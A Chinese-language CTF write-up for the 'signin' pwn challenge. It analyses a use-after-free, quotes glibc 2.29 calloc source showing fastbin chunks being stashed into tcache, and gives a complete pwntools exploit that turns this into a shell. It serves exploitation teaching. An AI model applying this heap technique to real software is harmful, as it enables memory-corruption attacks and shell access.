Signin(calloc不從tcache裏取chunk)
首先,檢查一下程序的保護機制
然後,我們用IDA分析一下,存在一個後門函數,要執行後面函數,需要ptr不爲0
Delete功能沒有清空指針
Edit功能存在UAF漏洞,但edit功能只能使用一次
測試出題目給我們的glibc版本爲2.29,存在tcahce機制。
由於edit功能只用一次。同時,我們注意到後門裏函數使用了calloc。
通過閱讀glibc2.29源碼,我們得知calloc不會從tcache bin裏取空閒的chunk,而是從fastbin裏取,取完後,和malloc一樣,如果fastbin裏還有剩餘的chunk,則全部放到對應的tcache bin裏取,採用頭插法
- if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
- {
- idx = fastbin_index (nb);
- mfastbinptr *fb = &fastbin (av, idx);
- mchunkptr pp;
- victim = *fb;
- if (victim != NULL)
- {
- if (SINGLE_THREAD_P)
- *fb = victim->fd;
- else
- REMOVE_FB (fb, pp, victim);
- if (__glibc_likely (victim != NULL))
- {
- size_t victim_idx = fastbin_index (chunksize (victim));
- if (__builtin_expect (victim_idx != idx, 0))
- malloc_printerr ("malloc(): memory corruption (fast)");
- check_remalloced_chunk (av, victim, nb);
- #if USE_TCACHE
- /* While we're here, if we see other chunks of the same size,
- stash them in the tcache. */
- size_t tc_idx = csize2tidx (nb);
- if (tcache && tc_idx < mp_.tcache_bins)
- {
- mchunkptr tc_victim;
- /* While bin not empty and tcache not full, copy chunks. */
- while (tcache->counts[tc_idx] < mp_.tcache_count
- && (tc_victim = *fb) != NULL)
- {
- if (SINGLE_THREAD_P)
- *fb = tc_victim->fd;
- else
- {
- REMOVE_FB (fb, pp, tc_victim);
- if (__glibc_unlikely (tc_victim == NULL))
- break;
- }
- tcache_put (tc_victim, tc_idx);
- }
- }
- #endif
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
- }
- }
那麼,我們可以利用一次edit,把ptr-0x10鏈接到fastbin裏去,然後調用後面函數執行calloc從fastbin裏取出一個chunk,然後剩餘的chunk全部放到對應的tcache bin裏去。由於採用的是頭插法插入,那麼(ptr-0x10)->fd = heap_x_addr,這樣,也就是ptr被寫了一個堆的地址,不爲0了,那麼接下來就會執行system(“/bin/sh”)了。
綜上,我們的exp腳本
#coding:utf8
from pwn import *
sh = process('./signin')
ptr = 0x4040C0
def create(index):
sh.sendlineafter('your choice?','1')
sh.sendlineafter('idx?',str(index))
def edit(index,content):
sh.sendlineafter('your choice?','2')
sh.sendlineafter('idx?',str(index).ljust(0xE,'\x00'))
sh.send(content)
def delete(index):
sh.sendlineafter('your choice?','3')
sh.sendlineafter('idx?',str(index))
#申請8個堆
for i in range(8):
create(i)
#釋放8個堆,7個進tcache,1個進fastbin
for i in range(8):
delete(i)
#從tcache裏取出一個,則還剩下6個
create(8)
edit(7,p64(ptr - 0x10))
#getshell
sh.sendlineafter('your choice?','6')
sh.interactive()